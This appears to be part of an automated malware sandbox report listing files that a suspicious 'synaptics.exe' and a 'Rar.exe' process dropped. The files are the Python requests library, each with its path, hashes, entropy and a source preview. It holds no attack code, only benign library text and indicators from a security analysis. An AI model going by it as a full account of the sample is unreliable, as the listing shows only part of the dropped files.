Preview:	o.......?..f.w.......................@...sj...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l m!Z!m"Z"m#Z#m$Z$..d.d.l%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3..e.j4d.k.r.e.j5Z6n.e.j.Z6e.f.d.d...Z7e.f.d.d...Z8G.d.d...d...Z9G.d.d...d.e9..Z:d.d...Z;d.S.).z..requests.sessions.~~~~~~~~~~~~~~~~~..This module provides a Session object to manage and persist settings across.requests (cookies, auth, proxies).......N)...OrderedDict)...timedelta.....)...to_native_string)...HTTPAdapter)..._basic_auth_str)...Mapping..cookielib..urljoin..urlparse)...RequestsCookieJar..cookiejar_from_dict..extract_cookies_to_jar..merge_cookies)...ChunkedEncodingError..ContentDecodingError..InvalidSchema..TooManyRedirects)...default_hooks..dispatch_hook)...DEFAULT_REDIRECT_LIMIT..REDIRECT_STATI..PreparedRequest..Request)...codes)...CaseInsensitiveDict)...DEFAULT_P

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\sessions.cpython-310.pyc.75772056

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	19692
Entropy (8bit):	5.466593235194196
Encrypted:	false
SSDEEP:	384:rKLx6UqoGz2kdHyVf6jLBvYANUwZaBk2bNHn8Qq:OFlGFHRjW2c/n8b
MD5:	5970B41FF89E4C116D216E401A439DC6
SHA1:	243DF8815E3859840F096406B7EF7216B284CE80
SHA-256:	824A1D830ABFDE80DB0D53F7FF09F6873CC85B21E2D08CEFEEBE038AFFA4982D
SHA-512:	F0845AE668D2570A7516FD7A137B2CC4CDB88E6F8D9B7F77F1D0A7CB7D44267FD1EBCA1ECF35CFD477189A3D1206F50A0B81F1711C64E0518F8270CC410BF58A
Malicious:	false
Reputation:	low
Preview:	o.......?..f.w.......................@...sj...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l m!Z!m"Z"m#Z#m$Z$..d.d.l%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3..e.j4d.k.r.e.j5Z6n.e.j.Z6e.f.d.d...Z7e.f.d.d...Z8G.d.d...d...Z9G.d.d...d.e9..Z:d.d...Z;d.S.).z..requests.sessions.~~~~~~~~~~~~~~~~~..This module provides a Session object to manage and persist settings across.requests (cookies, auth, proxies).......N)...OrderedDict)...timedelta.....)...to_native_string)...HTTPAdapter)..._basic_auth_str)...Mapping..cookielib..urljoin..urlparse)...RequestsCookieJar..cookiejar_from_dict..extract_cookies_to_jar..merge_cookies)...ChunkedEncodingError..ContentDecodingError..InvalidSchema..TooManyRedirects)...default_hooks..dispatch_hook)...DEFAULT_REDIRECT_LIMIT..REDIRECT_STATI..PreparedRequest..Request)...codes)...CaseInsensitiveDict)...DEFAULT_P

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\status_codes.cpython-310.pyc.61118624

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4712
Entropy (8bit):	5.738145194782349
Encrypted:	false
SSDEEP:	96:m+vEE3B8QaXQ/aMZaSUp8DuaiCSu6woOXRAdeMO2F4K1r7w:mWn3WKfr/piTNg+eUFs
MD5:	C9B79415EDC3407735BD190C822E7AA8
SHA1:	3DDC6141DF9B6DDEBE405F6827D36FDD590565B4
SHA-256:	20644D576B7DE439DA6141B6E17E4601D37EF335D6BD2C8584565B320F9B8FCC
SHA-512:	CF264312DB520424C9DD95B1D22EE13D1917C36006F731EDB1E4B1E98590D2FAA72101799D91889770B427CFAE98582C5A3DE4FE249558E3699F8AA2BFDE35AD
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s....d.a.d.d.l.m.Z...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..i.d%d&..d'd(..d)d*..d+d,..d-d...d/d0..d1d2..d3d4..d5d6..d7d8..d9d:..d;d<..d=d>..d?d@..dAdB..dCdD..dEdF....i.dGdH..dIdJ..dKdL..dMdN..dOdP..dQdR..dSdT..dUdV..dWdX..dYdZ..d[d\..d]d^..d_d`..dadb..dcdd..dedf..dgdh....i.didj..dkdl..dmdn..dodp..dqdr..dsdt..dudv..dwdx..dydz..d{d\|..d}d~..d.d...d.d...d.d...d.d...d.d...d.d.....Z.e.d.d...Z.d.d...Z.e.....d.S.).a.....The ``codes`` object defines a mapping from common names for HTTP statuses.to their numerical codes, accessible either as attributes or as dictionary.items...Example::.. >>> import requests. >>> requests.codes['temporary_redirect']. 307. >>> requests.codes.teapot. 418. >>> requests.codes['\o/']. 200..Some codes have multiple names, and both upper- and lower-case versions of.the names are allowed. For example, ``codes.ok``, ``codes.OK``, and.``codes.okay

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\structures.cpython-310.pyc.61160048

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	5.100867179309283
Encrypted:	false
SSDEEP:	96:2VEvJgabXXYS+hwKMGZG3h+VLTovFx0qjax7evl:2UJrbXX3wtEhL39
MD5:	A4250A667A125606DED27316DB2877A6
SHA1:	013244A2ECAC89AC5E829833A2D92901ECE016A0
SHA-256:	3DE411CCF88C8881092361887C7D2D5BE02208FFE78674E0200873111513D9CF
SHA-512:	CD1C923644D1E6D17B646BC1B36237D0FBC7BADAD5098428E4EB4CB18FC302A084F4FA1226FD039AC56DFD955D42648F7411DAA343362BF85247A2223BE958F4
Malicious:	false
Reputation:	low
Preview:	o.......?..f`........................@...sD...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).zO.requests.structures.~~~~~~~~~~~~~~~~~~~..Data structures that power Requests.......)...OrderedDict.....)...Mapping..MutableMappingc....................@...sb...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...CaseInsensitiveDicta....A case-insensitive ``dict``-like object... Implements all methods and operations of. ``MutableMapping`` as well as dict's ``copy``. Also. provides ``lower_items``... All keys are expected to be strings. The structure remembers the. case of the last key to be set, and ``iter(instance)``,. ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()``. will contain case-sensitive keys. However, querying and contains. testing is case insensitive::.. cid = CaseInsensitiveDict(). cid['Accept'] = 'application/json'. cid['aCCEPT'] == 'application/json'

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\utils.cpython-310.pyc.61159088

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	24594
Entropy (8bit):	5.589357337041435
Encrypted:	false
SSDEEP:	384:dwAXYudd5j1OCC04lbTaUGMAuAWtNNMAMFFOCTGvq2iqkg+p/cdiGjYrUcszdvLk:dR/54lPaQxA2usCTGGZcdzTR5vLk
MD5:	B3581C6AACFA935ECAFA3F8A7C3471AD
SHA1:	22CFA4AF247A72FF4E844B5E67974B797860B3EB
SHA-256:	5B5818E66E943541159FBD870F6EC21E5843344EBB0F217C54BB0D4F64E71421
SHA-512:	FA38E8ABA87BD1810AB548E469C7AFEE62DB44B5DE1FDB876513448D335FE3F51C851806DAEE0495F0E13A76C2839B46857744A706CE2CAAAD5E1ED67CEDFB44
Malicious:	false
Reputation:	low
Preview:	o.......?..fS........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m Z!..d.d.l.m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)mZ..d.d.l+m,Z,m-Z-m.Z.m/Z/..d.d.l0m1Z1..d.Z2e..3..Z4d.d.d...Z5d..6e..7d.e.d.d...d.......Z8e.j9d.k.r.d.d...Z:d.d...Z"d.d...Z;d.d ..Z<dtd"d#..Z=d$d%..Z>d&d'..Z?e.j@d(d)....ZAd*d+..ZBd,d-..ZCd.d/..ZDd0d1..ZEdtd2d3..ZFd4d5..ZGd6d7..ZHd8d9..ZId:d;..ZJd<d=..ZKd>d?..ZLd@dA..ZMdBdC..ZNeOdD..ZPdEdF..ZQdGdH..ZRdIdJ..ZSdKdL..ZTdMdN..ZUdOdP..ZVe.j@dQdR....ZWdSdT..ZXdudUdV..ZYdWdX..ZZdvdYdZ..Z[dwd\d]..Z\d^d_..Z]d`da..Z^db._dc..Z`e`dd..Zae`de..Zbdfdg..Zcdhdi..Zddjdk..Zedldm..Zfdndo..Zgdpdq..Zhdrds..Zid.S.)xz..requests.utils.~~~~~~~~~~~~~~..This module provides utility functions that are used within Requests.that are also useful for external consumption.......N)...OrderedDict)...make_headers..parse_url..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\version.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	4.9265723482231465
Encrypted:	false
SSDEEP:	12:PbfvK6kUFu7/svSNXBxSu6AbzuEFhCH3RX0T:Tfvqcq/svSTxSu6Av+3RX0T
MD5:	CF7B49D0B713B70F100F710CFD501EF4
SHA1:	C4D5E1C3654E68DBEF42E721F0B77CC6CDF50D75
SHA-256:	1557E09606663509E660F5E93A8843539F05E4451BFFE5674936807AC4B5F3B8
SHA-512:	ABFBD374D94DF3DAD2B9F5D31301E373703F3452F2C10D1ECAE5EA4C8802A96129162E125E29BBE39A18F0A7D80841886E9A5E1A2CFF51EC5238171AEE6F726D
Malicious:	false
Reputation:	low
Preview:	# .-. .-. .-. . . .-. .-. .-. .-..# \|( \|- \|.\| \| \| \|- `-. \| `-..# ' ' `-' `-`.`-' `-' `-' ' `-'..__title__ = "requests".__description__ = "Python HTTP for Humans.".__url__ = "https://requests.readthedocs.io".__version__ = "2.32.3".__build__ = 0x023203.__author__ = "Kenneth Reitz".__author_email__ = "me@kennethreitz.org".__license__ = "Apache-2.0".__copyright__ = "Copyright Kenneth Reitz".__cake__ = "\u2728 \U0001f370 \u2728".

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\_internal_utils.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1495
Entropy (8bit):	5.15366805062305
Encrypted:	false
SSDEEP:	24:+fmQURGWIgQiMhTzcnsIarYO09+gioikIxFYIhARWr1OlX4N8oQdYvf8P:ImpGWf0zcnXarYOSCRhvr1OlX4NlQ88P
MD5:	9DFFF48651AD4C1CD36B1229E869D749
SHA1:	83A8612A7FE67477B5D61A8C4358D22D5B099F7E
SHA-256:	9CC4329ABE21B37D93A95A3901B0AB99C24486F3D487BC57965BB2AB0B252E24
SHA-512:	8BC4699BFFE4B41B11FF43EEF9CF33B668127DB9F58D8DB0EA6105150B01C7472E2CF6E834A0F45133F33AF9A54AEBE3B1399EDE383109D7D01F59455DB61001
Malicious:	false
Reputation:	low
Preview:	""".requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat).""".import re..from .compat import builtin_str.._VALID_HEADER_NAME_RE_BYTE = re.compile(rb"^[^:\s][^:\r\n]$")._VALID_HEADER_NAME_RE_STR = re.compile(r"^[^:\s][^:\r\n]$")._VALID_HEADER_VALUE_RE_BYTE = re.compile(rb"^\S[^\r\n]$\|^$")._VALID_HEADER_VALUE_RE_STR = re.compile(r"^\S[^\r\n]$\|^$").._HEADER_VALIDATORS_STR = (_VALID_HEADER_NAME_RE_STR, _VALID_HEADER_VALUE_RE_STR)._HEADER_VALIDATORS_BYTE = (_VALID_HEADER_NAME_RE_BYTE, _VALID_HEADER_VALUE_RE_BYTE).HEADER_VALIDATORS = {. bytes: _HEADER_VALIDATORS_BYTE,. str: _HEADER_VALIDATORS_STR,.}...def to_native_string(string, encoding="ascii"):. """Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. """. if

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\adapters.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27451
Entropy (8bit):	4.481100575687001
Encrypted:	false
SSDEEP:	768:j+ta3iqVkpp5rOiVTgCBCv9F8eXRuxCAiO:2a3ijAITgeCiCO
MD5:	55B2F3BB90204EAEA336530AA917B89E
SHA1:	30D3485425FCA58F2DDE0462B10EA79830CD4C68
SHA-256:	28871E72C72A6A6EAB78E097465E03C0FE235FC25C97CB1DE7B7EDD7B291D9C4
SHA-512:	F394618645A189E4DACBEEC0016003AACE5A8C25034FD3B1DA4D9F340B3BE85D1C0CB2FEF60DD12E3E12EFDAE5ACD35F71775E051493040FFFB3BBD7025F6259
Malicious:	false
Reputation:	low
Preview:	""".requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.."""..import os.path.import socket # noqa: F401.import typing.import warnings..from urllib3.exceptions import ClosedPoolError, ConnectTimeoutError.from urllib3.exceptions import HTTPError as _HTTPError.from urllib3.exceptions import InvalidHeader as _InvalidHeader.from urllib3.exceptions import (. LocationValueError,. MaxRetryError,. NewConnectionError,. ProtocolError,.).from urllib3.exceptions import ProxyError as _ProxyError.from urllib3.exceptions import ReadTimeoutError, ResponseError.from urllib3.exceptions import SSLError as _SSLError.from urllib3.poolmanager import PoolManager, proxy_from_url.from urllib3.util import Timeout as TimeoutSauce.from urllib3.util import parse_url.from urllib3.util.retry import Retry.from urllib3.util.ssl_ import create_urllib3_context..from .auth import _basic_auth_str.from .compat import basestring,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\api.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6449
Entropy (8bit):	4.805150224362562
Encrypted:	false
SSDEEP:	96:FfmGLluXW87ZolNAzj8t8l8DQNQmsh4UiGmQb1UAGmQxSUDGmQTQj:FuEeZjM8SkSBKx0b1P0xSc0Uj
MD5:	AD3E6E647B23B98387FFE0738D965615
SHA1:	E2ACC6D4ACE747F71ED20A4135F6664A93BCD2FA
SHA-256:	FD96FD39AEEDCD5222CD32B016B3E30C463D7A3B66FCE9D2444467003C46B10B
SHA-512:	25FF8F68C8D09FF474BC654580598EFC70773AC908613082603F47B6C64DBD394E899B91BCE8103277D9669C7C09A1D35C74D67AC0B51AF4E1B35DBA896A194B
Malicious:	false
Reputation:	low
Preview:	""".requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.."""..from . import sessions...def request(method, url, **kwargs):. """Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.. :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.. :param cookies: (optional) Dict or CookieJar obje

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\auth.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10186
Entropy (8bit):	4.530703975561897
Encrypted:	false
SSDEEP:	192:zVDpNQFSzkbBr/Pwrbp61OsAZnA6MkdWx91u+9PwX:hT2SIV/AinAZnAPkdWx9D9K
MD5:	DCBEC6F5352F225981EAD338D778419E
SHA1:	BD96146BA4180F816DBD9C693F0B11ECC21EE214
SHA-256:	905EF9B6A9CB72D67D31FFE19BD4D9223E1C4169CDE6EC51CFCA16B31E70991D
SHA-512:	AE6EEE0CCC99712DEB2896CD783627E9BC6AB12191C722E70FB2727043AA099E47C14767E9EFB8D12B37DCC83F40E2AE1BCDFE7502D8BFD0ACF8B044D21BF127
Malicious:	false
Reputation:	low
Preview:	""".requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.."""..import hashlib.import os.import re.import threading.import time.import warnings.from base64 import b64encode..from ._internal_utils import to_native_string.from .compat import basestring, str, urlparse.from .cookies import extract_cookies_to_jar.from .utils import parse_dict_header..CONTENT_TYPE_FORM_URLENCODED = "application/x-www-form-urlencoded".CONTENT_TYPE_MULTI_PART = "multipart/form-data"...def _basic_auth_str(username, password):. """Returns a Basic Auth string.""".. # "I want us to put a big-ol' comment on top of it that. # says that this behaviour is dumb but we need to preserve. # it because people are relying on it.". # - Lukasa. #. # These are here solely to maintain backwards compatibility. # for things like ints. This will be removed in 3.0.0.. if not isinstance(username, basestring):. warnings.warn(. "Non-string usernames w

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\certs.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	429
Entropy (8bit):	4.751886441456147
Encrypted:	false
SSDEEP:	12:Hj1A3Dj4uIy1XfB4A4kvYa4ZkzfF2pHhu:DgbXKAhwa970pE
MD5:	3F2C22A3EC28D618D41C220CBC809E6B
SHA1:	A450E6CD1180490FD376F5874B720AA3AF294BF5
SHA-256:	67D49BE35D009EFEA35054F2B2CD23145854EB1B2DF1CB442EA7F2F04BF6DE0C
SHA-512:	4668D0606D52F466534CB9F87429DDFDD7A552BAB2DBD84C6C8FCA8F789A81BFA9E366A37EAB55302FE231F99040F49F3B43FCBEB9E229DCAB71394ADE64E93D
Malicious:	false
Reputation:	low
Preview:	#!/usr/bin/env python..""".requests.certs.~~~~~~~~~~~~~~..This module returns the preferred default CA certificate bundle. There is.only one . the one from the certifi package...If you are packaging Requests, e.g., for a Linux distribution or a managed.environment, you can change the definition of where() to return a separately.packaged CA bundle..""".from certifi import where..if __name__ == "__main__":. print(where()).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\compat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1817
Entropy (8bit):	4.771734424425327
Encrypted:	false
SSDEEP:	48:DGXHyOLyR/iE/z0SsJ+NXiX7SvjZPwDkyTK3Vw6lw:6XyUyR/iW4SQI42dIIy0Nlw
MD5:	6ECA2EACB5945B0B897EA1F46998F0B2
SHA1:	CD951FD9BD8AA9D19898533B29A3F23D2ADAEF36
SHA-256:	0B9C3F0CF2D2BAB5CF81C75653BF1FA2B6B400F99B6245F61BCF50BC7E71CCF0
SHA-512:	30C0A9E9B428DDA20F82A86FDED3A09904AF9C0986185AAE0A150A6B2524749EBAC0A395DEB718F684CEAA6250064F18A0392C56FA55F0D1EFC179A338F95894
Malicious:	false
Reputation:	low
Preview:	""".requests.compat.~~~~~~~~~~~~~~~..This module previously handled import compatibility issues.between Python 2 and Python 3. It remains for backwards.compatibility until the next major version.."""..import importlib.import sys..# -------------------.# Character Detection.# -------------------...def _resolve_char_detection():. """Find supported character detection libraries.""". chardet = None. for lib in ("chardet", "charset_normalizer"):. if chardet is None:. try:. chardet = importlib.import_module(lib). except ImportError:. pass. return chardet...chardet = _resolve_char_detection()..# -------.# Pythons.# -------..# Syntax sugar.._ver = sys.version_info..#: Python 2.x?.is_py2 = _ver[0] == 2..#: Python 3.x?.is_py3 = _ver[0] == 3..# json/simplejson module import resolution.has_simplejson = False.try:. import simplejson as json.. has_simplejson = True.except ImportError:. import json..if has_simplejson:.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\cookies.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18590
Entropy (8bit):	4.44721587671231
Encrypted:	false
SSDEEP:	192:NXAXSUj5PLearcA8Jq20Fe6Jo6K8afO+50LfckHMGWjki0pAyEFEHQj:NXAkaAkceoKTQapv6Ea
MD5:	003F4E0AABD7CC01B91224D1FB89EE21
SHA1:	904A118F4C9B48D637C5CCE657018C2486513527
SHA-256:	6CD8BE8AA123E0D3D9D34FA86FEAC7BF392F39BCCDDE5129830DE0EA9692DD7C
SHA-512:	9D6025A0698A287BC224AB424FA409BCB4B36C01EF27B9E0A018AD995B66ED3EB429CCAD5FC26703B8019366BBA37E1037AF54DC4D1F339F07820E3B93E2B9F0
Malicious:	false
Reputation:	low
Preview:	""".requests.cookies.~~~~~~~~~~~~~~~~..Compatibility code to be able to use `http.cookiejar.CookieJar` with requests...requests.utils imports from here, so be careful with imports.."""..import calendar.import copy.import time..from ._internal_utils import to_native_string.from .compat import Morsel, MutableMapping, cookielib, urlparse, urlunparse..try:. import threading.except ImportError:. import dummy_threading as threading...class MockRequest:. """Wraps a `requests.Request` to mimic a `urllib2.Request`... The code in `http.cookiejar.CookieJar` expects this interface in order to correctly. manage cookie policies, i.e., determine whether a cookie can be set, given the. domains of the request and the cookie... The original request object is read-only. The client is responsible for collecting. the new headers via `get_new_headers()` and interpreting them appropriately. You. probably want `get_cookie_header`, defined below.. """.. def __init__(self, reque

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\exceptions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4260
Entropy (8bit):	4.795346993336366
Encrypted:	false
SSDEEP:	96:Gn8BlK2uscIbEbJiCbiYoSjfUv5/5hdyioDgjolUvAN:L0IgJPLsUEnIN
MD5:	2C504C9B2C3BBF355B1015CCFCF3E5C0
SHA1:	B538E50BA24C9D88B0AF38224A644C287CEAE925
SHA-256:	8C93D2D545804ECF3A4A155468BA2B4E225BD52686BA83445A020225EA7E5646
SHA-512:	57945FCA2E073FDDA3779690436A1F9928BAE1E49C20D424C22A4EBFDE28E8F61DA3C520DD159F23272D9ADF26F80814400FBAB2D4EE3FD2EC57985FB6B58A9F
Malicious:	false
Reputation:	low
Preview:	""".requests.exceptions.~~~~~~~~~~~~~~~~~~~..This module contains the set of Requests' exceptions..""".from urllib3.exceptions import HTTPError as BaseHTTPError..from .compat import JSONDecodeError as CompatJSONDecodeError...class RequestException(IOError):. """There was an ambiguous exception that occurred while handling your. request.. """.. def __init__(self, args, kwargs):. """Initialize RequestException with `request` and `response` objects.""". response = kwargs.pop("response", None). self.response = response. self.request = kwargs.pop("request", None). if response is not None and not self.request and hasattr(response, "request"):. self.request = self.response.request. super().__init__(args, *kwargs)...class InvalidJSONError(RequestException):. """A JSON error occurred."""...class JSONDecodeError(InvalidJSONError, CompatJSONDecodeError):. """Couldn't decode the text into json""".. def __init__(self, a

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\help.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3875
Entropy (8bit):	4.576599748394514
Encrypted:	false
SSDEEP:	96:fkgcJHDYMh2QDBYerRxG3fwf7W149geOWhhrewSMOUFEWGI3Iongi:fkjkQ3wYfq1MOWPrl1Iingi
MD5:	FCB7BE924E43A29EC6B6F96FF2C9AEBC
SHA1:	5F2E6A66569E7ACD30A10588A436D8FDFBCC8CE8
SHA-256:	80F5F977F1FB5DDF3C6830017A386A1A097D075545453B79066898BCBDCFCC84
SHA-512:	487467E1E3EF25D7B5BA3E4688887C43AFD4FC521870E47E3339BB1C5A3FC6AFCD13526E3078DB7392D45173A8C0270D4E9372A40066AF1175B6A15BC09D65A9
Malicious:	false
Reputation:	low
Preview:	"""Module containing bug report helper(s)."""..import json.import platform.import ssl.import sys..import idna.import urllib3..from . import __version__ as requests_version..try:. import charset_normalizer.except ImportError:. charset_normalizer = None..try:. import chardet.except ImportError:. chardet = None..try:. from urllib3.contrib import pyopenssl.except ImportError:. pyopenssl = None. OpenSSL = None. cryptography = None.else:. import cryptography. import OpenSSL...def _implementation():. """Return a dict with the Python implementation and version... Provide both the name and the version of the Python implementation. currently running. For example, on CPython 3.10.3 it will return. {'name': 'CPython', 'version': '3.10.3'}... This function works best on CPython and PyPy: in particular, it probably. doesn't work for Jython or IronPython. Future investigation should be done. to work out the correct shape of the code for those platfor

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\hooks.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	733
Entropy (8bit):	4.520976235953487
Encrypted:	false
SSDEEP:	12:+x1p4IoWy5pMUqTgEA12TnbxawBCFfy6nu6faadxBIYKzYnhDXrY:+x1qlJ5pMUqTg7wCZy6nu6bBIYHBY
MD5:	94EB29001B47E2886C00D1E201B8733D
SHA1:	6C2AEBE642D6471E70534C45E039DF709B23435D
SHA-256:	0A2BB2B221C0DFD57951F702057148C7CDC8AC3A6EC1F37D45C4D482FDBC7ED4
SHA-512:	15F9F577F2A490427BCFFCA5C217CB8D544431391942264352679174621CF2DB183D293F478083EBA592E1AFF059CF7F41F24AA1538933990819D4B3E49B48A3
Malicious:	false
Reputation:	low
Preview:	""".requests.hooks.~~~~~~~~~~~~~~..This module provides the capabilities for the Requests hooks system...Available hooks:..``response``:. The response generated from a Request..""".HOOKS = ["response"]...def default_hooks():. return {event: [] for event in HOOKS}...# TODO: response is the only one...def dispatch_hook(key, hooks, hook_data, kwargs):. """Dispatches a hook dictionary on a given piece of data.""". hooks = hooks or {}. hooks = hooks.get(key). if hooks:. if hasattr(hooks, "__call__"):. hooks = [hooks]. for hook in hooks:. _hook_data = hook(hook_data, kwargs). if _hook_data is not None:. hook_data = _hook_data. return hook_data.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\models.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35418
Entropy (8bit):	4.354781700171542
Encrypted:	false
SSDEEP:	768:SKyQqAAoXrMkaij97OG2MrjrFemh502XkVbkbiwW:pyv/W4kaij97/2M/02XggY
MD5:	499AE24BE7C778F6F7C9923E85B48442
SHA1:	6E6CDE55FAAF8707DE25B1F95167CDFE4D57F420
SHA-256:	938DABA17CC2F2EFCE6A000F422F54E0C91F3BB8B8AF615D6AABCCAACB4F7A17
SHA-512:	6E33802C518E1BF2C6D6C3D5FC0B7AE9E95087CDB7F7437E1586C1DE682DF298052F3D3A37DC0E1112CBFA4C4010B7123D91365F191CDC00BD036EA997CD096F
Malicious:	false
Reputation:	low
Preview:	""".requests.models.~~~~~~~~~~~~~~~..This module contains the primary objects that power Requests.."""..import datetime..# Import encoding now, to avoid implicit import later..# Implicit import within threads may cause LookupError when standard library is in a ZIP,.# such as in Embedded Python. See https://github.com/psf/requests/issues/3578..import encodings.idna # noqa: F401.from io import UnsupportedOperation..from urllib3.exceptions import (. DecodeError,. LocationParseError,. ProtocolError,. ReadTimeoutError,. SSLError,.).from urllib3.fields import RequestField.from urllib3.filepost import encode_multipart_formdata.from urllib3.util import parse_url..from ._internal_utils import to_native_string, unicode_is_ascii.from .auth import HTTPBasicAuth.from .compat import (. Callable,. JSONDecodeError,. Mapping,. basestring,. builtin_str,. chardet,. cookielib,.).from .compat import json as complexjson.from .compat import urlencode, urlsplit, urlunparse

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\packages.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.60636288741538
Encrypted:	false
SSDEEP:	24:kGQp1BsKW8MkmWqgBAzLWkmeZzrvOZzrY:kGCB7pN72Lm+rGrY
MD5:	93627108FEE7284C7F390B0F02FD3C68
SHA1:	285B7A8C218FDACE1384D7B61A1002C00CB2AD91
SHA-256:	FE0D2067AF355320252874631FA91A9DB6A8C71D9E01BEAACDC5E2383C932287
